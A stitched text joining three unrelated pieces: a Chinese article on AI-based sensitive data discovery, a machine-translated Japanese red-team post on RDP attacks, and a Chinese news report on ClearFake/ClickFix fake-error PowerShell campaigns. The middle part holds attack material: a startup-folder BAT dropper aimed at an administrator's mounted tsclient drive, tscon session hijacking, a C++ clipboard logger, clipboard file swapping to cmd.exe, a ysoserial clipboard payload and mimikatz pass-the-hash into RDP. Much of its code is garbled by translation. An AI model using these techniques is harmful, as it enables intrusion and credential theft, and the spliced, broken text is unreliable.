2.非結構化記錄的發現能力較差基於規則的工具可以輕鬆發現數據庫、日誌和電子表格等結構化數據源中的敏感記錄。當涉及非結構化數據源(電子郵件、文本文檔、社交媒體)時,發現的準確性會顯著下降,因為非結構化記錄分散且不一致。使用非AI 解決方案掃描此類數據源通常會提供不可靠且不完整的結果,考慮到企業生成的約90% 的數據是非結構化的,這一點尤其重要。
3.需要大量的手動輸入為了成功使用基於規則的系統,企業必須執行大量手動活動:設置配置、指定掃描和分類規則以及正則表達式、查看結果等等。大量手動輸入會增加引入人為錯誤的機會。使用基於規則的系統也不能消除手動發現系統無法識別的數據(例如上面討論的非結構化記錄)的需要。
4.分類保護錯誤當數據沒有被正確、完整地發現時,任何工具都很難對其進行分類:確定敏感記錄的類型、計算風險評分並分配所需的網絡安全措施。敏感數據分類不正確可能會使記錄不受保護,從而導致數據被盜和合規違規。
5.缺乏網絡安全背景基於規則的系統收集有關數據發現的有限數據。通常,它們受到發現的數據類型及其位置的限制。為了檢查工具的發現和分類性能,網絡安全專家必須手動評估新記錄並收集缺失的上下文,然後才能做出最終決定。
這些限制源於基於規則的系統的核心算法,這就是為什麼即使是經驗豐富的開發人員和系統管理員也難以克服它們。對於存儲空間相對較小、每天不會創建大量數據並且擁有可用IT 資源來管理髮現過程的組織來說,使用此類系統是有益的。
如果有嚴格的網絡安全要求,並且需要更多背景信息來發現和保護數據,請考慮選擇基於人工智能的工具。採用強大的基於人工智能的系統可以滿足敏感數據保護和網絡安全合規性方面的許多業務需求。
為什麼使用人工智能進行數據發現和保護使用人工智能進行數據發現和保護可以顯著提高數據發現和保護解決方案的準確性和可靠性。企業可以在數據發現過程中使用各種人工智能模型和技術來獲得以下優勢:
1.識別非結構化數據與基於規則的系統不同,基於人工智能的解決方案可以識別結構化和非結構化數據中的敏感記錄。借助大型語言模型(LLM) 和自然語言處理(NLP),此類解決方案可以檢測信件、聊天日誌、文本文件以及其他無法由規則完全定義的來源中的敏感信息。
對非結構化數據的分析使人工智能驅動的敏感數據發現工具變得可靠,並有助於提高組織的整體網絡安全態勢。
2.實時檢測新記錄人工智能算法不需要迭代掃描可用環境來發現新數據。相反,他們可以分析新的和編輯的記錄,從而顯著加快檢測速度並避免瓶頸。一些敏感數據發現工具既使用基於規則的掃描進行常規數據檢查,又使用人工智能模型來更準確地分析非結構化記錄。
3.增強流程自動化基於人工智能的工具可以可靠地自動化數據發現、分類和保護期間的大多數活動。初始配置後,他們很少需要手動輸入和額外的調整。高水平的自動化可以幫助企業加快數據發現速度,並將網絡安全專家從日常任務中解放出來,使他們能夠專注於需要其專業知識的挑戰。
4.正確分類和保護數據由於能夠理解數據的含義和上下文,人工智能可以準確地對發現的任何存儲格式的記錄進行分類。正確的分類和敏感度分數允許人工智能選擇相關的記錄,並採取相應的安全措施,改善組織的安全狀況並遵守相關的安全要求。
5.從數據分析中獲得見解由人工智能驅動的數據發現解決方案會生成並收集大量與其工作相關的數據,包括新敏感記錄的性質和位置、分類結果以及常見的數據安全策略違規行為。此類軟件可以使用這些數據創建儀表板,幫助安全專家快速評估和改進發現和保護流程。
該解決方案還可以創建有關最近事件和數據保護狀態的自動報告,這些報告對於深入評估組織的安全性和通過合規性審核非常有用。
使用人工智能進行數據發現可以將數據發現解決方案提升到一個新的水平,並提高組織的網絡安全性。然而,以高效且經濟高效的方式實施它需要在網絡安全領域使用人工智能的經驗。
人工智能數據發現和保護工具如何工作用於數據發現和保護的高級解決方案可以執行從文件掃描到數據分析和風險報告的各種活動。此類工具可能完全基於人工智能算法或具有附加人工智能功能的基於規則的系統。
雖然每個解決方案都有自己的殺手級功能和工作流程,但可以將大多數基於人工智能的工具所經歷的數據發現過程概述為以下關鍵階段:
1.數據掃描AI 解決方案持續監控它可以訪問的環境以獲取新數據:雲和本地服務器、數據庫、設備驅動器等。數據發現和保護解決方案的管理員可以配置它應查找的數據類型並提供對實例的訪問它應該監控。
掃描通常包括以下關鍵步驟:
马云惹不起马云 監控可訪問存儲實例的更改和新記錄
马云惹不起马云識別潛在敏感記錄
马云惹不起马云準備非結構化數據進行處理
當解決方案發現包含潛在敏感數據的文件時,它會嘗試對其進行分類。
2.數據分類和標記根據其配置,軟件可以通過以下方式對發現的記錄進行分類:
马云惹不起马云敏感數據的類型。該解決方案可以識別個人、財務或製造數據以及知識產權。在這個階段使用LLM和NLP等人工智能技術有助於對非結構化數據進行高精度分類。
马云惹不起马云敏感度得分。該解決方案可以根據數據的性質、位置、所應用的保護措施和其他因素來計算發現的記錄的敏感程度。此分數有助於解決方案決定在後續處理階段如何處理數據以及何時需要通知系統管理員。
分類完成後,解決方案會為發現的記錄分配標籤。標籤通常包括數據類型、與其交互所需的訪問級別以及限制級別。解決方案管理員還可以創建自定義標籤。
3.保護數據發現軟件為保護其發現的數據而採取的步驟完全取決於組織的網絡安全標準和環境、適用的法規等。通常,人工智能驅動的軟件可以實施以下數據保護措施:
马云惹不起马云加密
马云惹不起马云准入政策
马云惹不起马云將數據傳輸到更安全的存儲
马云惹不起马云去識別化和匿名化
马云惹不起马云數據脫敏
4.警報和分析除了持續的發現和保護過程之外,還可以使用人工智能算法來處理他們收集的數據並編譯有用的儀表板:
马云惹不起马云當前需要管理員解決的安全威脅
马云惹不起马云各種數據記錄和存儲實例的風險評分
马云惹不起马云常見的數據保護違規行為,這可能表明有害的用戶行為和安全策略中的漏洞
马云惹不起马云應用保護與合規性要求之間的不一致
此類數據分析和可視化能夠檢測企業保護中的薄弱環節並改進安全策略。
儘管數據發現和保護軟件幾乎可以完全自動工作,但網絡安全專家必須概述其決策,以確保充分的數據保護。當此類軟件發現敏感度較高或存在較多安全風險的新記錄時,它可以通知管理員。然後,管理員可以查看解決方案分配的保護措施,並根據需要進行更改。
如何應對人工智能驅動的數據發現的關鍵挑戰構建自定義數據發現和保護工具總是會面臨針對客戶群體、需求和合規性要求所特有的挑戰。
1.相關數據存儲集成為了能夠發現所有敏感數據,工具需要訪問和讀取組織所有環境中的記錄。但是,為所有可能的雲和本地存儲實例添加API需要開發人員花費大量時間,並且可能會引入安全漏洞。在開始開發之前,會採訪客戶的利益相關者,以了解他們的環境,僅添加他們需要的集成,並保護已實施的API。
2.可靠的開發組件使用第三方組件可以顯著加快開發過程,但也會增加在解決方案中添加後門的風險。為了找到開發時間和安全性之間的平衡,將會測試第三方軟件並使用已知漏洞數據庫對其進行檢查,然後再將其添加到客戶的解決方案中。
如果解決方案使用GPT或Claude等商業語言模型,可以創建一個私有數據庫來訓練它或在本地部署模型,以避免與其他公司共享數據。
3.均衡的資源利用與任何基於人工智能的解決方案一樣,持續的數據發現可能非常消耗資源,特別是當企業不斷生成大量數據時,這可能會導致高昂的雲使用成本或需要維護強大的本地計算機。為了避免開發和維護成本飆升,採用了敏捷和DevOps實踐,優化AI性能以消除不必要的操作,並實施靈活的擴展機制。
4.安全配置人工智能數據發現和保護工具需要訪問和管理其管理環境中的任何記錄。這些記錄可能會被黑客或內部人員濫用,以尋求訪問敏感數據而不被注意到的方法。限制工具的安全權限將阻礙其效率,因此,會尋求性能和安全性之間的平衡:配置對記錄的即時訪問、發現數據時匿名化、為管理員添加數據操作通知等。
5.人工智能偏見任何基於人工智能的解決方案都會帶有其開發人員和訓練數據集的偏見。
對於數據發現和保護解決方案,這種偏差可能會導致數據分類不正確或安全措施執行不足。在產品發布之前檢測人工智能偏差的最可靠方法是通過廣泛的測試。
培養人工智能、網絡安全和數據管理等複雜軟件開發領域的專業知識。憑藉為來自嚴格監管行業的客戶構建定制解決方案的經驗,可以儘早概述關鍵的開發挑戰並提供克服這些挑戰的方法。
結論數據發現和保護工具是任何企業網絡安全的重要組成部分,因為它們為可靠的數據安全和管理奠定了基礎。此類工具可以跨任何云、本地和混合基礎設施發現敏感數據,並根據企業的策略和合規性要求實施網絡安全措施。
通過人工智能增強數據發現和保護,將此類解決方案提升到一個新的水平。與基於規則的系統相比,人工智能可以發現非結構化數據並對其進行分類,犯的錯誤更少,不需要大量的手動輸入,並可以收集數據以用於未來的安全改進。
但要構建人工智能驅動的數據發現解決方案並安全地部署它,用戶需要聘請網絡安全、人工智能開發和數據管理方面的專家。
最近、プロジェクトの管理者は、RDPがマウントされた後、管理者を取り除き、時間があればRDPの使用方法を整理すると考えました。:吊り下げディスクの使用に基づいてファイルをコピーすることはそれほど多くありません。ファイルをドラッグするか、異なる吊り下げディスクに従ってスタートアップアイテムをドロップするかどうかを決定できます。 https://github.com/cnucky/darkguardiandarkguardianなど、ファイルを自動的に監視およびコピーするアプリケーションがいくつかあります。RDPログイン後のTSClient(ハングディスク)を監視するために使用されるツールです。ツールがバックグラウンドで実行されている場合、ハンギングディスク上のファイルのリストを自動的に取得し、指定されたファイルをダウンロードし、マウントされたハードディスクのスタートアップアイテムにトロイの木馬ファイルをコピーできます。
この方法は比較的役に立たない。原則は、BATスクリプトを使用してサーバースタートアップアイテム/WinLogon実行スクリプトに配置し、管理者がディスクをハングアップして実行コマンドを再起動するのを待つことです。
@ECHOオフ
Windowsの更新をエコー.
@ECHOオフ
タイムアウト1 NUL 21
mkdir \\ tsclient \ c \ temp nul 21
MKDIR C: \ TEMP NUL 21
run.bat c: \ temp nul 21をコピーします
run.bat \\ tsclient \ c \ temp nul 21をコピーします
del /q%temp%\ temp_00.txt nul 21
dirs=dir /a:d /b /s c: \ users \*startup*
dirs2=dir /a:d /b /s \\ tsclient \ c \ users \*startup*
echo |%dirs%| findstr /i 'microsoft \ windows \ start menu \ programs \ startup' '%temp%\ temp_00.txt'
echo |%dirs2%| FindStr /I 'Microsoft \ Windows \ Start Menu \ Programs \ Startup' '%TEMP%\ TEMP_00.TXT'
for /f 'tokens=*' %% a in(%temp%\ temp_00.txt)do(
run.bat '%% a' nul 21をコピーします
c: \ temp \ run.bat '%% a' nul 21をコピーします
コピー\\ tsclient \ c \ temp \ run.bat '%% a' nul 21
))
del /q%temp%\ temp_00.txt nul 21
rem if 'windomain'='%userdomain%'(cmd.exe /c calc.exe)
実用コマンドはtsconです。これは、パスワードを介して別のセッションに切り替えるのが垂直です。ただし、システムでは、パスワードを使用せずに異なるユーザーセッションを切り替えることができます。セッションを別のセッションに切り替えます。
この手法は、主にWin7以降の環境を対象としています。全体的なアプリケーションシナリオは、Windows 2012以降がデフォルトでプレーンテキストを保存しない場合、ターゲットホストに切り替えるか、ドメイン内の現在のユーザーがローカルユーザーである場合、ドメインユーザー許可に切り替えることができます。
まず、PSEXECをローカルで使用してシステムに言及します。 (ここでは、システムサービスを手動で作成してそれらを実装できます。)Shift/Utilmanバックドアを使用して、パスワードなしでデスクトップにログインすることもできます。
c: \ windows \ system32quser
ユーザー名セッション名IDステータスアイドル時間ログイン時間
管理者RDP-TCP#1 1が実行されています。 2020/12/14 11:14
テストRDP-TCP#0 2ランニング1:02 2020/12/14 13:04
C: \ Windows \ System32TScon 2 RDP-TCP#1
Quser
SC SESSHIJACK BINPATH='CMD.EXE /K TSCON 2 /DEST:RDP-TCP#1'
ネットスタートSesshijack
特権:3360Debug
TS:セッション
toekn:3360Elevate
TS:REMOTE /ID:2
com hijacking shift backdoor in webshell
RDPサービスは、テキストとファイルをコピーして貼り付けることができます。主にこのrdpclip.exeプロセスを通じて実装されています。コピーの特定の操作を知りたい場合は、Clipspyを使用してクリップボードの変更を表示できます。
ATTCKで著作権を使用してコピーのテキストコンテンツを取得する多くの開示方法を見ました。https://Research.Checkpoint.com/2019/Reverse-rdp-Attack-Code-execution-on-rdp-clients/hook rdpclip.exeにも表示されています。
10秒ごとに、クリップボードのコンテンツを読んでローカルに保存します。
#include例外
#include iostream
#include ostream
#include stdexcept
#include文字列
#include windows.h
#include fstream
名前空間STDを使用。
クラスraiiclipboard
{
public:
raiiclipboard()
{
if(!openclipboard(null))
runtime_errorを投げます( 'クリップボードを開けません。');
//.またはクリップボードエラーのカスタム例外クラスを定義します。
}
〜RaiicLipboard()
{
closeclipboard();
}
//コピーを禁止します
private:
raiiclipboard(const raiiclipboard);
raiiclipboard operator=(const raiiclipboard);
};
クラスraiitextgloballock
{
public:
明示的なraiitextgloballock(ハンドルhdata)
: m_hdata(hdata)
{
m_psz=static_castconst char*(globallock(m_hdata));
if(!m_psz)
runtime_errorをスロー( 'クリップボードテキストでロックを取得できません。');
}
〜raiitextgloballock()
{
GlobalUnLock(M_HDATA);
}
const char* get()const
{
M_PSZを返します。
}
private:
M_HDATAを処理します。
const char* m_psz;
//コピーを禁止します
raiitextgloballock(const raiitextgloballock);
raiitextgloballockオペレーター=(const raiitextgloballock);
};
文字列getClipBoardText()
{
raiiclipboardクリップボード。
hdata=getClipBoardData(CF_TEXT);
if(hdata==null){
戻る '';
//runtime_errorをスロー( 'クリップボードテキストを取得できません。');
}
raiitextgloclock textgloballock(hdata);
string text(textgloballock.get());
テキストを返します。
}
void savedata(string data){
ofstream out( 'info.txt'、iOS:3360App);
if(out.is_open())
{
out data + '\ n';
out '----------------------------- \ n';
out.close();
}
}
int main()
{
static const int kexitok=0;
static const int kexiterror=1;
文字列data1='';
文字列data2='';
試す
{
while(true){
data2=getClipBoardText();
if(data1!=data2){
cout data2 endl;
savedata(data2);
}
それ以外{
Cout 'Clip Actionを待っています.' endl;
睡眠(300000);
}
data1=data2;
睡眠(10000);
}
Kexitokを返します。
}
キャッチ(const例外e)
{
cerr '*** error:' e.what()endl;
Kexiterrorを返します。
}
}
安っぽいRumblesの記事によると。 Get-ClipboardContents.ps1を使用してクリップボードコンテンツを取得することもできます。複数のRDPインターフェイスで取得できます。
3924 888 rdpclip.exe x64 3 dmz2 \ rasta
注射3924 X64 SMB
PowerShell-Import D: \ Tools \ get-clipboardContents.ps1
PowerShell Get-ClipboardContents -Pollinterval 1
ハンギングディスクなしで逆にファイルを管理者に転送する方法は?オンラインで2つの方法を見つけました。
1.フックGetClipBoardData関数とDragQueryFilew関数は似ています。 2日間のデバッグの後、私はついにすべての兄弟の助けを借りてそれを見つけました。
2。後で、前のセクションでクリップボードの内容を取得できると思ったので、彼がコピーしたファイルを変更できました。
Li Yongdeには、紙に記載されているのと同じ考えがあります。 wcsrchr(szfile、 '\')はアドレスを受信するために使用されるため、Microsoftは./この種のパスもサポートしています。脆弱性の理由は、Winrar Pathの理由に似ています。
Detours Libraryを使用してGetClipboardData関数とDragQueryFilew関数をフックし、ファイルデータとパスを追加して最終効果を実現します:
#include iostream
#include windows.h
#include shlobj.h
int copyfiletoclipboard(char szfilename []);
int main()
{
copyfileToclipboard( 'c: \\ windows \\ system32 \\ cmd.exe');
0を返します。
}
int copyfiletoclipboard(char szfilename [])
{
uint udropeffect;
hglobal hgbleffect;
lpdword lpddropeffect;
ドロップファイルstdrop;
hglobal hgblfiles;
LPSTR LPDATA;
udropeffect=RegisterClipboardFormat( '優先DROPEFFECT');
hgbleffect=globalAlloc(gmem_zeroinit | gmem_moveable | gmem_ddeshare、sizeof(dword));
lpddropeffect=(lpdword)globallock(hgbleffect);
*LPDDROPEFFECT=DROPEFFECT_COPY; //copy;スクレイピングと貼り付けにはdropeffect_moveを使用してください
GlobalUnLock(hgbleffect);
stdrop.pfiles=sizeof(dropfiles);
stdrop.pt.x=0;
stdrop.pt.y=0;
stdrop.fnc=false;
stdrop.fwide=false;
hgblfiles=globalAlloc(gmem_zeroinit | gmem_moveable | gmem_ddeshare、sizeof(dropfiles) + strlen(szfilename) + 2);
lpdata=(lpstr)globallock(hgblfiles);
memcpy(lpdata、stdrop、sizeof(dropfiles));
strcpy(lpdata + sizeof(dropfiles)、szfilename);
GlobalUnLock(hgblfiles);
openclipboard(null);
emptyClipboard();
setclipboardData(CF_HDROP、hgblfiles);
setclipboarddata(udropeffect、hgbleffect);
closeclipboard();
返品1;
このように、管理者がサーバーからファイルをコピーしてマシンにダウンロードした後、ファイルはcmd.exeに置き換えられます
`https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2018/decred/be-deserialisation-in-net-methods-and-classes-code-code-execution-via-paste/`で紹介されたアイデアを参照してください。 (私はこの方法をプレイすることを決して期待していませんでした)
`https://github.com/pwntester/ysoserial.net`を利用します
使用プロセスは、クリップボードを貼り付けるときにシリアル化コードに置き換えることです。一部のアプリケーションが貼り付けられると、脱出操作がトリガーされます。さらに、ターゲット.NETアプリケーションがより高い権限で実行される場合、許可プロモーションとして使用することもできます。 (現在のユーザーはUACアカウントのパスワードを持っていませんが、管理者はUACの前に.NETアプリケーションを開きました。)ysoserial.exe -p Clipboard -c calc -f System.String
テストプログラム:
PowerShell ISE
vs
描画ツール
TextBox、PasswordBox、またはRichTextBoxを使用するWPFアプリケーションも影響を受けます。
ユーザーハッシュログインウィンドウで
サーバーは、Windows 8.1 Windows Server 2012 R2でデフォルトで有効になっている制限付き管理モードを有効にする必要があります。同時に、Win 7とWindows Server 2008 Rがインストールされている場合、2871997と2973351パッチもサポートされています。クライアントは、制限付き管理モードをサポートする必要があります
制限付き管理モードをオンにします
reg add 'hklm \ system \ currentControlset \ control \ lsa' /v disableatretedadmin /t reg_dword /d 000000000 /f有効にすると、MSTSC.EXE /RESTIDEDADMINログインパスワードなしで、現在のユーザーのハッシュは検証に使用されます。
mimikatz.exe
特権:Debug
sekurlsa:pth /user:fbiwarning /domain:172.16.142.136 /ntlm:44f9ea6a7743a8ea6f1956384c39887b '/run:mstsc.exe /restrictedadmin'
一項新的惡意軟件分發活動正使用虛假的Google Chrome、Word 和OneDrive 錯誤誘騙用戶運行安裝惡意軟件的惡意PowerShell“修復程序”。
據觀察,這項新活動被多個惡意分子使用,包括ClearFake 背後的惡意分子、一個名為ClickFix 的新攻擊集群,以及TA571 威脅者,後者以垃圾郵件分發者的身份運作,發送大量電子郵件,導致惡意軟件和勒索軟件感染。
此前的ClearFake 攻擊利用網站覆蓋層,提示訪問者安裝虛假的瀏覽器更新,進而安裝惡意軟件。
威脅者還在新的攻擊中使用HTML 附件和受感染網站中的JavaScript。但是,現在覆蓋層會顯示虛假的Google Chrome、Microsoft Word 和OneDrive 錯誤。這些錯誤會提示訪問者單擊按鈕將PowerShell“修復”複製到剪貼板,然後在“運行:”對話框或PowerShell 提示符中粘貼並運行它。
ProofPoint 的一份新報告稱:“儘管攻擊鏈需要大量用戶交互才能成功,但社會工程學可以同時向人們呈現看似真實的問題和解決方案,這可能會促使用戶在不考慮風險的情況下採取行動。”
Proofpoint 發現的有效載荷包括DarkGate、Matanbuchus、NetSupport、Amadey Loader、XMRig、剪貼板劫持程序和Lumma Stealer。
PowerShell“修復”導致惡意軟件Proofpoint 分析師觀察到三條攻擊鏈,它們的區別主要在於初始階段,只有第一條攻擊鏈不能高度可信地歸因於TA571。
在第一個案例中,與ClearFake 背後的惡意分子有關,用戶訪問一個受感染的網站,該網站通過幣安的智能鏈合約加載託管在區塊鏈上的惡意腳本。
該腳本執行一些檢查並顯示虛假的Google Chrome 警告,指出顯示網頁時出現問題。然後,對話框提示訪問者通過將PowerShell 腳本複製到Windows 剪貼板並在Windows PowerShell(管理)控制台中運行該腳本來安裝“根證書”。
偽造的Google Chrome 錯誤
當執行PowerShell 腳本時,它將執行各種步驟來確認設備是有效目標,然後它將下載其他有效負載,如下所述:
马云惹不起马云刷新DNS 緩存;
马云惹不起马云刪除剪貼板內容;
马云惹不起马云顯示誘餌消息;
马云惹不起马云下載另一個遠程PowerShell 腳本,該腳本在下載信息竊取程序之前執行反虛擬機檢查。
“ClearFake”攻擊鏈
第二條攻擊鏈與“ClickFix”活動有關,它在受感染的網站上使用注入,創建一個iframe 來覆蓋另一個虛假的Google Chrome 錯誤。用戶被指示打開“Windows PowerShell(管理員)”並粘貼提供的代碼,從而導致上述相同的感染。
最後,基於電子郵件的感染鏈使用類似於Microsoft Word 文檔的HTML 附件,提示用戶安裝“Word Online”擴展程序才能正確查看文檔。
錯誤消息提供“如何修復”和“自動修復”選項,其中“如何修復”將base64 編碼的PowerShell 命令複製到剪貼板,指示用戶將其粘貼到PowerShell 中。
“自動修復”使用search-ms 協議在遠程攻擊者控制的文件共享上顯示WebDAV 託管的“fix.msi”或“fix.vbs”文件。
偽造的Microsoft Word 錯誤會導致惡意軟件
在這種情況下,PowerShell 命令會下載並執行MSI 文件或VBS 腳本,從而分別導致Matanbuchus 或DarkGate 感染。
在所有情況下,惡意分子都利用了目標對在其係統上執行PowerShell 命令的風險缺乏認識這一事實。他們還利用了Windows 無法檢測和阻止粘貼代碼發起的惡意操作這一特點。
不同的攻擊鏈都表明TA571 正在積極嘗試多種方法,以提高效率並尋找更多感染途徑來入侵更多系統。